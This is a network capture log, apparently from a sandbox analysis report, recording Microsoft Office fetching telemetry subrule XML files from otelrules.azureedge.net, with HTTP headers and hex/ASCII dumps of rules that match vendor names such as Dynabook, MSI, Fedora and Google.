2024-11-19 00:01:22 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:22 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:22 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 7a7e882b-d01e-002b-49aa-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000122Z-16547b76f7fr5rfnhC1DFW0am400000003wg00000000vcmw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:22 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:23 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000123Z-16547b76f7fjx5nrhC1DFW4dsc00000003tg000000001td6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:23 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:23 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000123Z-164f84587bffvwt9hC1DFW2ktw0000000450000000010fv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:23 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:23 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:23 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d770b2f6-001e-00a2-2af5-39d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000123Z-16559997f8799x6whC1DFW9y9w00000000h000000000sa3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:23 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000123Z-16547b76f7fljddfhC1DFWeqbs00000007b000000000f0m8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:24 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 52505548-d01e-008e-5e0b-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000124Z-17cf5b775c45g8j4hC1DFWne5g00000000h000000000evut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:24 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:24 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:24 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000124Z-r18f44ddb69tncq7hC1DFW3ke800000000r00000000061ct x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:24 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:24 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:24 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000124Z-16547b76f7f7zzl8hC1DFWmtag000000059000000000yx6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:24 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:24 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:24 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000124Z-16547b76f7f5b5tthC1DFWuk84000000055000000000bg1q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:24 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:25 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000125Z-16547b76f7fwggrphC1DFW2a8s00000005cg00000000fuhy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:25 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: a1cedf95-b01e-003d-7f9b-38d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000125Z-r18f44ddb696q9jxhC1DFWck0000000000kg000000007zzz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:25 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
